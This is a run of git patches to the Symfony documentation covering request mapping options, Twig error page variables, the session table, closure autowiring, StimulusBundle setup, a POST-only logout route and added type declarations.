+You can customize the validation groups used during the mapping thanks to the
+``validationGroups`` option::
+
+    public function dashboard(
+        #[MapQueryString(validationGroups: ['strict', 'edit'])] UserDTO $userDto
+    ): Response
+    {
+        // ...
+    }
+
 .. versionadded:: 6.3
 
     The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryString` attribute
@@ -482,6 +492,16 @@ your DTO::
         // ...
     }
 
+You can also customize the validation groups used as well as supported
+payload formats::
+
+    public function dashboard(
+        #[MapRequestPayload(acceptFormat: 'json', validationGroups: ['strict', 'read'])] UserDTO $userDto
+    ): Response
+    {
+        // ...
+    }
+
 .. versionadded:: 6.3
 
     The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapRequestPayload` attribute

From 0cc61f75d762244e14c4267fa4e3d8b111c207dd Mon Sep 17 00:00:00 2001
From: Terence Eden <edent@users.noreply.github.com>
Date: Sun, 21 May 2023 21:03:46 +0100
Subject: [PATCH 3313/5766] Update error_pages.rst

I couldn't find any explicit documentation about `{{ exception.message }}`

This adds it in and provides a link to to class so that readers can find the other methods available.
---
 controller/error_pages.rst | 12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 7ccb05cdf65..5cad96b742c 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -114,10 +114,14 @@ store the HTTP status code and message respectively.
     and its required ``getStatusCode()`` method. Otherwise, the ``status_code``
     will default to ``500``.
 
-Additionally you have access to the Exception with ``exception``, which for example
-allows you to output the stack trace using ``{{ exception.traceAsString }}`` or
-access any other method on the object. You should be careful with this though,
-as this is very likely to expose sensitive data.
+Additionally you have access to the Exception with ``exception``.
+This allows you to access any method of :class:`Symfony\\Component\\HttpKernel\\Exception\\HttpException`.
+For example, if an exception message has been set, using 
+``throw $this->createNotFoundException('The product does not exist');``,
+this can be accessed with ``{{ exception.message }}``.
+You can output the stack trace using ``{{ exception.traceAsString }}`` 
+You should be careful with this though, as it is very likely to expose 
+sensitive data.
 
 .. tip::
 

From 93a056bb231c8f033f2b0c8117c3b518b3909f9d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 24 May 2023 15:31:49 +0200
Subject: [PATCH 3314/5766] Tweaks

---
 controller/error_pages.rst | 14 ++++++--------
 1 file changed, 6 insertions(+), 8 deletions(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 5cad96b742c..56f8e60a408 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -114,14 +114,12 @@ store the HTTP status code and message respectively.
     and its required ``getStatusCode()`` method. Otherwise, the ``status_code``
     will default to ``500``.
 
-Additionally you have access to the Exception with ``exception``.
-This allows you to access any method of :class:`Symfony\\Component\\HttpKernel\\Exception\\HttpException`.
-For example, if an exception message has been set, using 
-``throw $this->createNotFoundException('The product does not exist');``,
-this can be accessed with ``{{ exception.message }}``.
-You can output the stack trace using ``{{ exception.traceAsString }}`` 
-You should be careful with this though, as it is very likely to expose 
-sensitive data.
+Additionally you have access to the :class:`Symfony\\Component\\HttpKernel\\Exception\\HttpException`
+object via the ``exception`` Twig variable. For example, if the exception sets a
+message (e.g. using ``throw $this->createNotFoundException('The product does not exist')``),
+use ``{{ exception.message }}`` to print that message. You can also output the
+stack trace using ``{{ exception.traceAsString }}``, but don't do that for end
+users because the trace contains sensitive data.
 
 .. tip::
 

From ace8e03ba10092fff16f738cc3631916c410b0f9 Mon Sep 17 00:00:00 2001
From: Allison Guilhem <allison.guilhem@gmail.com>
Date: Wed, 1 Feb 2023 09:08:53 +0100
Subject: [PATCH 3315/5766] [HttpFoundation] update doc creation session table

---
 session.rst | 16 ++++++++++++++--
 1 file changed, 14 insertions(+), 2 deletions(-)

diff --git a/session.rst b/session.rst
index b1da1a9a0eb..a399cff2796 100644
--- a/session.rst
+++ b/session.rst
@@ -880,7 +880,13 @@ Preparing the Database to Store Sessions
 ........................................
 
 Before storing sessions in the database, you must create the table that stores
-the information. The session handler provides a method called
+the information.
+
+With Doctrine installed, the session table will be automatically generated when
+you run the make:migration command if the database targeted by doctrine is identical to
+the one used by this component.
+
+Or if you prefer to create the table yourself and the table has not already been created, the session handler provides a method called
 :method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler::createTable`
 to set up this table for you according to the database engine used::
 
@@ -890,7 +896,9 @@ to set up this table for you according to the database engine used::
         // the table could not be created for some reason
     }
 
-If you prefer to set up the table yourself, it's recommended to generate an
+If the table already exists an exception will be thrown.
+
+If you would rather set up the table yourself, it's recommended to generate an
 empty database migration with the following command:
 
 .. code-block:: terminal
@@ -904,6 +912,10 @@ file and run the migration with the following command:
 
     $ php bin/console doctrine:migrations:migrate
 
+If needed, you can also add this table to your schema by calling
+:method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler::configureSchema` method
+in your code.
+
 .. _mysql:
 
 MariaDB/MySQL

From 4f56d81f7e27fe81b7fa13d6fd7ed2f8c3cc6295 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 25 May 2023 09:52:39 +0200
Subject: [PATCH 3316/5766] Tweaks

---
 session.rst | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/session.rst b/session.rst
index a399cff2796..2945c31e846 100644
--- a/session.rst
+++ b/session.rst
@@ -883,10 +883,11 @@ Before storing sessions in the database, you must create the table that stores
 the information.
 
 With Doctrine installed, the session table will be automatically generated when
-you run the make:migration command if the database targeted by doctrine is identical to
-the one used by this component.
+you run the ``make:migration`` command if the database targeted by doctrine is
+identical to the one used by this component.
 
-Or if you prefer to create the table yourself and the table has not already been created, the session handler provides a method called
+Or if you prefer to create the table yourself and the table has not already been
+created, the session handler provides a method called
 :method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler::createTable`
 to set up this table for you according to the database engine used::
 
@@ -913,8 +914,8 @@ file and run the migration with the following command:
     $ php bin/console doctrine:migrations:migrate
 
 If needed, you can also add this table to your schema by calling
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler::configureSchema` method
-in your code.
+:method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler::configureSchema`
+method in your code.
 
 .. _mysql:
 

From 1ffdcee77211e93aa7909835b22a45e555cebd23 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 25 May 2023 15:23:42 +0200
Subject: [PATCH 3317/5766] [DependencyInjection] Add support for generating
 lazy closures

---
 reference/attributes.rst               |  4 +-
 service_container.rst                  | 50 ++-----------
 service_container/autowiring.rst       | 98 ++++++++++++++++++++++++++
 service_container/service_closures.rst | 42 ++---------
 4 files changed, 110 insertions(+), 84 deletions(-)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index 5598691682e..2cabf9de7bd 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -31,9 +31,9 @@ Dependency Injection
 * :ref:`Autoconfigure <lazy-services_configuration>`
 * :ref:`AutoconfigureTag <di-instanceof>`
 * :ref:`Autowire <autowire-attribute>`
-* :ref:`AutowireCallable <container_closure-as-argument>`
+* :ref:`AutowireCallable <autowiring_closures>`
 * :doc:`AutowireDecorated </service_container/service_decoration>`
-* :doc:`AutowireServiceClosure </service_container/service_closures>`
+* :ref:`AutowireServiceClosure <autowiring_closures>`
 * :ref:`Exclude <service-psr4-loader>`
 * :ref:`TaggedIterator <tags_reference-tagged-services>`
 * :ref:`TaggedLocator <service-subscribers-locators_defining-service-locator>`
diff --git a/service_container.rst b/service_container.rst
index c87b83d9f9f..0b7e34a947b 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -780,54 +780,14 @@ Our configuration looks like this:
             ;
         };
 
-.. versionadded:: 6.1
-
-    The ``closure`` argument type was introduced in Symfony 6.1.
-
-It is also possible to convert a callable into an injected closure
-thanks to the
-:class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireCallable`
-attribute. Let's say our ``MessageHashGenerator`` class now has a ``generate()``
-method::
-
-        // src/Hash/MessageHashGenerator.php
-        namespace App\Hash;
-
-        class MessageHashGenerator
-        {
-            public function generate(): string
-            {
-                // Compute and return a message hash
-            }
-        }
+.. seealso::
 
-We can inject the ``generate()`` method of the ``MessageHashGenerator``
-like this::
-
-    // src/Service/MessageGenerator.php
-    namespace App\Service;
-
-    use App\Hash\MessageHashGenerator;
-    use Psr\Log\LoggerInterface;
-    use Symfony\Component\DependencyInjection\Attribute\AutowireCallable;
+    Closures can be injected :ref:`by using autowiring <autowiring_closures>`
+    and its dedicated attributes.
 
-    class MessageGenerator
-    {
-        public function __construct(
-            private LoggerInterface $logger,
-            #[AutowireCallable(service: MessageHashGenerator::class, method: 'generate')]
-            private \Closure $generateMessageHash
-        ) {
-            // ...
-        }
-
-        // ...
-    }
-
-.. versionadded:: 6.3
+.. versionadded:: 6.1
 
-    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireCallable`
-    attribute was introduced in Symfony 6.3.
+    The ``closure`` argument type was introduced in Symfony 6.1.
 
 .. _services-binding:
 
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 7775935076a..81f877e23fd 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -643,6 +643,104 @@ The ``#[Autowire]`` attribute can also be used for :ref:`parameters <service-par
 
     The ``param`` and ``env`` arguments were introduced in Symfony 6.3.
 
+.. _autowiring_closures:
+
+Generate Closures With Autowiring
+---------------------------------
+
+A **service closure** is an anonymous function that returns a service. This type
+of instanciation is handy when you are dealing with lazy-loading.
+
+Automatically creating a closure encapsulating the service instanciation can be
+done with the
+:class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireServiceClosure`
+attribute::
+
+    // src/Service/Remote/MessageFormatter.php
+    namespace App\Service\Remote;
+
+    use Symfony\Component\DependencyInjection\Attribute\AsAlias;
+
+    #[AsAlias('third_party.remote_message_formatter')]
+    class MessageFormatter
+    {
+        public function __construct()
+        {
+            // ...
+        }
+
+        public function format(string $message): string
+        {
+            // ...
+        }
+    }
+
+    // src/Service/MessageGenerator.php
+    namespace App\Service;
+
+    use App\Service\Remote\MessageFormatter;
+    use Symfony\Component\DependencyInjection\Attribute\AutowireServiceClosure;
+
+    class MessageGenerator
+    {
+        public function __construct(
+            #[AutowireServiceClosure('third_party.remote_message_formatter')]
+            \Closure $messageFormatterResolver
+        ) {
+        }
+
+        public function generate(string $message): void
+        {
+            $formattedMessage = ($this->messageFormatterResolver)()->format($message);
+
+            // ...
+        }
+    }
+
+.. versionadded:: 6.3
+
+    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireServiceClosure`
+    attribute was introduced in Symfony 6.3.
+
+It is common that a service accepts a closure with a specific signature.
+In this case, you can use the
+:class:`Symfony\Component\DependencyInjection\Attribute\\AutowireCallable` attribute
+to generate a closure with the same signature as a specific method of a service. When
+this closure is called, it will pass all its arguments to the underlying service
+function::
+
+    // src/Service/MessageGenerator.php
+    namespace App\Service;
+
+    use Symfony\Component\DependencyInjection\Attribute\AutowireCallable;
+
+    class MessageGenerator
+    {
+        public function __construct(
+            #[AutowireCallable(service: 'third_party.remote_message_formatter', method: 'format')]
+            \Closure $formatCallable
+        ) {
+        }
+
+        public function generate(string $message): void
+        {
+            $formattedMessage = ($this->formatCallable)($message);
+
+            // ...
+        }
+    }
+
+Finally, you can pass the ``lazy: true`` option to the
+:class:`Symfony\Component\DependencyInjection\Attribute\\AutowireCallable`
+attribute. By doing so, the callable will automatically be lazy, which means
+that the encapsulated service will be instantiated **only** at the
+closure's first call.
+
+.. versionadded:: 6.3
+
+    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireCallable`
+    attribute was introduced in Symfony 6.3.
+
 .. _autowiring-calls:
 
 Autowiring other Methods (e.g. Setters and Public Typed Properties)
diff --git a/service_container/service_closures.rst b/service_container/service_closures.rst
index 28a1d0b0f02..53cf11850b3 100644
--- a/service_container/service_closures.rst
+++ b/service_container/service_closures.rst
@@ -92,45 +92,13 @@ argument of type ``service_closure``:
 
 .. seealso::
 
-    Another way to inject services lazily is via a
-    :doc:`service locator </service_container/service_subscribers_locators>`.
-
-Thanks to the
-:class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireServiceClosure`
-attribute, defining a service wrapped in a closure can directly be done
-in the service class, without further configuration::
-
-    // src/Service/MyService.php
-    namespace App\Service;
-
-    use Symfony\Component\DependencyInjection\Attribute\AutowireServiceClosure;
-    use Symfony\Component\Mailer\MailerInterface;
-
-    class MyService
-    {
-        public function __construct(
-            #[AutowireServiceClosure('mailer')]
-            private \Closure $mailer
-        ) {
-        }
-
-        public function doSomething(): void
-        {
-            // ...
-
-            $this->getMailer()->send($email);
-        }
+    Service closures can be injected :ref:`by using autowiring <autowiring_closures>`
+    and its dedicated attributes.
 
-        private function getMailer(): MailerInterface
-        {
-            return ($this->mailer)();
-        }
-    }
-
-.. versionadded:: 6.3
+.. seealso::
 
-    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireServiceClosure`
-    attribute was introduced in Symfony 6.3.
+    Another way to inject services lazily is via a
+    :doc:`service locator </service_container/service_subscribers_locators>`.
 
 Using a Service Closure in a Compiler Pass
 ------------------------------------------

From 6957aee2b1ddaaccef25e4e4266eaa693cf2169e Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 25 May 2023 17:19:58 +0200
Subject: [PATCH 3318/5766] [DependencyInjection] Add support for casting
 callables into single-method interfaces

---
 service_container.rst | 124 ++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 124 insertions(+)

diff --git a/service_container.rst b/service_container.rst
index c87b83d9f9f..b7a9ace7f84 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1334,6 +1334,130 @@ the closure::
         // services depending on which environment you're on
     };
 
+Generating Adapters for Functional Interfaces
+---------------------------------------------
+
+Functional interfaces are interfaces with a single method.
+They are conceptually very similar to a closure except that their only method
+has a name. Moreover, they can be used as type-hints across your code.
+
+The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireCallable`
+attribute can be used to generate an adapter for a functional interface.
+Let's say you have the following functional interface::
+
+    // src/Service/MessageFormatterInterface.php
+    namespace App\Service;
+
+    interface MessageFormatterInterface
+    {
+        public function format(string $message, array $parameters): string;
+    }
+
+Now, you can define a service implementing this method, among other util ones::
+
+    // src/Service/MessageFormatterInterface.php
+    namespace App\Service;
+
+    class MessageUtils
+    {
+        // other utils methods...
+
+        public function format($string $message, array $parameters): string
+        {
+            // ...
+        }
+    }
+
+We can now use ``#[AutowireCallable]`` with our ``MessageUtils`` service
+to inject our functional interface implementation::
+
+    namespace App\Service\Mail;
+
+    use App\Service\MessageFormatterInterface;
+    use App\Service\MessageUtils;
+    use Symfony\Component\DependencyInjection\Attribute\AutowireCallable;
+
+    class Mailer
+    {
+        public function __construct(
+            #[AutowireCallable(service: MessageUtils::class, method: 'formatMessage')]
+            private MessageFormatterInterface $formatter
+        ) {
+        }
+
+        public function sendMail($string $message, array $parameters): string
+        {
+            $formattedMessage = $this->formatter->format($message, $parameters);
+
+            // ...
+        }
+    }
+
+.. versionadded:: 6.3
+
+    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireCallable`
+    attribute was introduced in Symfony 6.3.
+
+Alternatively, generating an adapter for a functional interface can also
+be done through configuration:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+
+            # ...
+
+            app.message_formatter:
+                class: App\Service\MessageFormatterInterface
+                from_callable: [!service {class: 'App\Service\MessageUtils'}, 'formatMessage']
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... -->
+
+                <service id="app.message_formatter" class="App\Service\MessageFormatterInterface">
+                    <from-callable method="formatMessage">
+                        <service class="App\Service\MessageUtils"/>
+                    </from-callable>
+                </service>
+
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Service\MessageFormatterInterface;
+        use App\Service\MessageUtils;
+
+        return function(ContainerConfigurator $container) {
+            // ...
+
+            $container
+                ->set('app.message_formatter', MessageFormatterInterface::class)
+                ->fromCallable([inline_service(MessageUtils::class), 'formatMessage'])
+                ->alias(MessageFormatterInterface::class, 'app.message_formatter')
+            ;
+        };
+
+By doing so, Symfony will generate a class (also called an *adapter*)
+implementing ``MessageFormatterInterface`` that will forward calls of
+``MessageFormatterInterface::format()`` to your underlying service's method
+``MessageUtils::format()``, with all its arguments.
+
 Learn more
 ----------
 

From 815b159ce016a5dff7d1c3e51f86256cf04f573d Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Fri, 26 May 2023 13:46:57 -0400
Subject: [PATCH 3319/5766] Updating UX docs to install the new StimulusBundle

---
 frontend/encore/simple-example.rst | 22 ++++++++++++----------
 1 file changed, 12 insertions(+), 10 deletions(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index d41da8daf84..2e5043c5f83 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -5,10 +5,7 @@ After :doc:`installing Encore </frontend/encore/installation>`, your app already
 has a few files, organized into an ``assets/`` directory:
 
 * ``assets/app.js``
-* ``assets/bootstrap.js``
-* ``assets/controllers.json``
 * ``assets/styles/app.css``
-* ``assets/controllers/hello_controller.js``
 
 With Encore, think of your ``app.js`` file like a standalone JavaScript
 application: it will *require* all of the dependencies it needs (e.g. jQuery or React),
@@ -27,9 +24,6 @@ statements and create one final ``app.js`` (and ``app.css``) that contains *ever
 your app needs. Encore can do a lot more: minify files, pre-process Sass/LESS,
 support React, Vue.js, etc.
 
-The other files - ``bootstrap.js``, ``controllers.json`` and ``hello_controller.js``
-relate to a topic you'll learn about soon: `Stimulus & Symfony UX`_.
-
 Configuring Encore/Webpack
 --------------------------
 
@@ -222,10 +216,18 @@ easy to attach behavior to HTML. It's powerful, and you will love it! Symfony
 even provides packages to add more features to Stimulus. These are called the
 Symfony UX Packages.
 
-If you followed the setup instructions, you should already have Stimulus installed
-and ready to go! In fact, that's the purpose of the ``assets/bootstrap.js`` file:
-to initialize Stimulus and automatically load any "controllers" from the
-``assets/controllers/`` directory.
+To use Stimulus, first install StimulusBundle:
+
+.. code-block:: terminal
+
+    $ composer require symfony/stimulus-bundle
+
+The Flex recipe should add several files/directories:
+
+* ``assets/bootstrap.js`` - initializes Stimulus;
+* ``assets/controllers/`` - a directory where you'll put your Stimulus controllers;
+* ``assets/controllers.json`` - file that helps load Stimulus controllers form UX
+  packages that you'll install.
 
 Let's look at a simple Stimulus example. In a Twig template, suppose you have:
 

From 07c7ba942aa0f10b23baf88b9fa5c4a9e892682f Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Fri, 26 May 2023 21:11:58 +0200
Subject: [PATCH 3320/5766] Update docs about creating a UX bundle after
 stimulus bundle release

---
 frontend/create_ux_bundle.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/create_ux_bundle.rst b/frontend/create_ux_bundle.rst
index 8bc04725bcd..095b9c6d84b 100644
--- a/frontend/create_ux_bundle.rst
+++ b/frontend/create_ux_bundle.rst
@@ -108,7 +108,7 @@ To use your controller in a template (e.g. one defined in your bundle) you can u
         ...
     </div>
 
-Don't forget to add ``symfony/webpack-encore-bundle:^1.12`` as a composer dependency to use
+Don't forget to add ``symfony/stimulus-bundle:^2.9`` as a composer dependency to use
 Twig ``stimulus_*`` functions.
 
 .. tip::

From 20a7e795009d942db4031ad2d8a42f972a913091 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 30 May 2023 12:01:25 +0200
Subject: [PATCH 3321/5766] [Security] Use POST method for logout route

---
 security.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/security.rst b/security.rst
index 9fe3801d01b..ad62fed4ba8 100644
--- a/security.rst
+++ b/security.rst
@@ -1686,7 +1686,7 @@ Next, you need to create a route for this URL (but not a controller):
         class SecurityController extends AbstractController
         {
             /**
-             * @Route("/logout", name="app_logout", methods={"GET"})
+             * @Route("/logout", name="app_logout", methods={"POST"})
              */
             public function logout(): void
             {
@@ -1705,7 +1705,7 @@ Next, you need to create a route for this URL (but not a controller):
 
         class SecurityController extends AbstractController
         {
-            #[Route('/logout', name: 'app_logout', methods: ['GET'])]
+            #[Route('/logout', name: 'app_logout', methods: ['POST'])]
             public function logout()
             {
                 // controller can be blank: it will never be called!
@@ -1718,7 +1718,7 @@ Next, you need to create a route for this URL (but not a controller):
         # config/routes.yaml
         app_logout:
             path: /logout
-            methods: GET
+            methods: POST
 
     .. code-block:: xml
 
@@ -1729,7 +1729,7 @@ Next, you need to create a route for this URL (but not a controller):
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
-            <route id="app_logout" path="/logout" methods="GET"/>
+            <route id="app_logout" path="/logout" methods="POST"/>
         </routes>
 
     .. code-block:: php
@@ -1739,7 +1739,7 @@ Next, you need to create a route for this URL (but not a controller):
 
         return function (RoutingConfigurator $routes) {
             $routes->add('app_logout', '/logout')
-                ->methods(['GET'])
+                ->methods(['POST'])
             ;
         };
 

From c714cadea9e46c601b24cd95d25251b37dacaef8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 30 May 2023 13:43:48 +0200
Subject: [PATCH 3322/5766] Minor tweaks

---
 setup/flex_private_recipes.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/setup/flex_private_recipes.rst b/setup/flex_private_recipes.rst
index 14300e70258..abecdfd5039 100644
--- a/setup/flex_private_recipes.rst
+++ b/setup/flex_private_recipes.rst
@@ -32,9 +32,9 @@ the **repository name**, select the **Private** radio button, and click the
 Gitlab
 ~~~~~~
 
-Log in to your Gitlab.com account, click the **New project** button, select **Create blank project**, fill in
-the **Project name**, select the **Private** radio button, and click the
-**Create project** button.
+Log in to your Gitlab.com account, click the **New project** button, select
+**Create blank project**, fill in the **Project name**, select the **Private**
+radio button, and click the **Create project** button.
 
 Create Your Private Recipes
 ---------------------------
@@ -184,7 +184,8 @@ The ``index.json`` file has the following format:
     }
 
 Create an entry in ``"recipes"`` for each of your bundle recipes. Replace
-``your-gitlab-account-name``, ``your-gitlab-repository`` and ``your-gitlab-project-id`` with your own details.
+``your-gitlab-account-name``, ``your-gitlab-repository`` and ``your-gitlab-project-id``
+with your own details.
 
 Store Your Recipes in the Private Repository
 --------------------------------------------

From 7e8b5fe83c68cc79a295d6876d4135457b7af9cc Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 30 May 2023 15:20:24 +0200
Subject: [PATCH 3323/5766] [Uuid] Add few property types

---
 components/uid.rst | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 74458ac1717..24f4c59255b 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -236,12 +236,13 @@ type, which converts to/from UUID objects automatically::
 
     use Doctrine\ORM\Mapping as ORM;
     use Symfony\Bridge\Doctrine\Types\UuidType;
+    use Symfony\Component\Uid\Uuid;
 
     #[ORM\Entity(repositoryClass: ProductRepository::class)]
     class Product
     {
         #[ORM\Column(type: UuidType::NAME)]
-        private $someProperty;
+        private Uuid $someProperty;
 
         // ...
     }
@@ -265,7 +266,7 @@ entity primary keys::
         #[ORM\Column(type: UuidType::NAME, unique: true)]
         #[ORM\GeneratedValue(strategy: 'CUSTOM')]
         #[ORM\CustomIdGenerator(class: 'doctrine.uuid_generator')]
-        private $id;
+        private ?Uuid $id;
 
         public function getId(): ?Uuid
         {
@@ -422,12 +423,13 @@ type, which converts to/from ULID objects automatically::
 
     use Doctrine\ORM\Mapping as ORM;
     use Symfony\Bridge\Doctrine\Types\UlidType;
+    use Symfony\Component\Uid\Ulid;
 
     #[ORM\Entity(repositoryClass: ProductRepository::class)]
     class Product
     {
         #[ORM\Column(type: UlidType::NAME)]
-        private $someProperty;
+        private Ulid $someProperty;
 
         // ...
     }
@@ -451,7 +453,7 @@ entity primary keys::
         #[ORM\Column(type: UlidType::NAME, unique: true)]
         #[ORM\GeneratedValue(strategy: 'CUSTOM')]
         #[ORM\CustomIdGenerator(class: 'doctrine.ulid_generator')]
-        private $id;
+        private ?Ulid $id;
 
         public function getId(): ?Ulid
         {

From 472f5794d3c14ea53b6ea15be14b8aba510cf410 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 30 May 2023 16:03:27 +0200
Subject: [PATCH 3324/5766] Add property types and return types in a few places

---
 bundles/best_practices.rst                    |  2 +-
 bundles/configuration.rst                     |  2 +-
 bundles/prepend_extension.rst                 |  2 +-
 cache.rst                                     | 14 ++---
 components/dependency_injection.rst           |  2 +-
 .../_imports-parameters-note.rst.inc          |  2 +-
 components/expression_language.rst            |  2 +-
 components/property_access.rst                | 24 ++++-----
 components/serializer.rst                     | 16 +++---
 components/var_dumper.rst                     |  2 +-
 configuration.rst                             | 14 ++---
 configuration/env_var_processors.rst          | 12 ++---
 configuration/micro_kernel_trait.rst          |  2 +-
 configuration/override_dir_structure.rst      |  4 +-
 configuration/secrets.rst                     |  2 +-
 controller/error_pages.rst                    |  2 +-
 controller/upload_file.rst                    |  2 +-
 controller/value_resolver.rst                 |  2 +-
 deployment/proxies.rst                        |  2 +-
 doctrine.rst                                  |  2 +-
 doctrine/events.rst                           |  6 +--
 event_dispatcher.rst                          | 51 +++++++++---------
 form/embedded.rst                             |  4 +-
 frontend/custom_version_strategy.rst          |  2 +-
 html_sanitizer.rst                            | 22 ++++----
 http_cache/cache_invalidation.rst             |  2 +-
 http_cache/esi.rst                            |  4 +-
 http_cache/ssi.rst                            |  2 +-
 http_client.rst                               | 23 ++++----
 lock.rst                                      |  4 +-
 mailer.rst                                    | 12 ++---
 messenger.rst                                 | 30 +++++------
 messenger/custom-transport.rst                |  2 +-
 messenger/multiple_buses.rst                  |  2 +-
 notifier.rst                                  | 12 ++---
 rate_limiter.rst                              |  6 +--
 reference/configuration/framework.rst         | 42 +++++++--------
 reference/constraints/Compound.rst            |  4 +-
 reference/constraints/UniqueEntity.rst        | 11 ++--
 reference/formats/expression_language.rst     |  6 +--
 routing.rst                                   |  2 +-
 routing/custom_route_loader.rst               |  2 +-
 security.rst                                  | 52 +++++++++---------
 security/access_control.rst                   |  2 +-
 security/csrf.rst                             |  2 +-
 serializer.rst                                | 13 ++---
 service_container.rst                         | 24 ++++-----
 service_container/injection_types.rst         |  2 +-
 service_container/service_closures.rst        |  2 +-
 service_container/tags.rst                    |  6 +--
 session.rst                                   | 54 +++++++++----------
 templates.rst                                 |  4 +-
 testing.rst                                   |  2 +-
 testing/profiling.rst                         |  2 +-
 translation.rst                               |  8 +--
 validation.rst                                | 36 ++++++-------
 validation/translations.rst                   |  8 +--
 workflow.rst                                  | 34 ++++++------
 workflow/dumping-workflows.rst                |  2 +-
 workflow/workflow-and-state-machine.rst       |  2 +-
 60 files changed, 310 insertions(+), 308 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 10ae34e9d33..72a394362fa 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -436,7 +436,7 @@ The end user can provide values in any configuration file:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $container->parameters()
                 ->set('acme_blog.author.email', 'fabien@example.com')
             ;
diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 4ef81743bf5..6933f7eb794 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -42,7 +42,7 @@ as integration of other related components:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->form()->enabled(true);
         };
 
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index a0c686c4527..8d28080470f 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -139,7 +139,7 @@ registered and the ``entity_manager_name`` setting for ``acme_hello`` is set to
         // config/packages/acme_something.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $container->extension('acme_something', [
                 // ...
                 'use_acme_goodbye' => false,
diff --git a/cache.rst b/cache.rst
index 84d60315fe3..f9d7175cf41 100644
--- a/cache.rst
+++ b/cache.rst
@@ -85,7 +85,7 @@ adapter (template) they use by using the ``app`` and ``system`` key like:
         // config/packages/cache.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->cache()
                 ->app('cache.adapter.filesystem')
                 ->system('cache.adapter.system')
@@ -163,7 +163,7 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
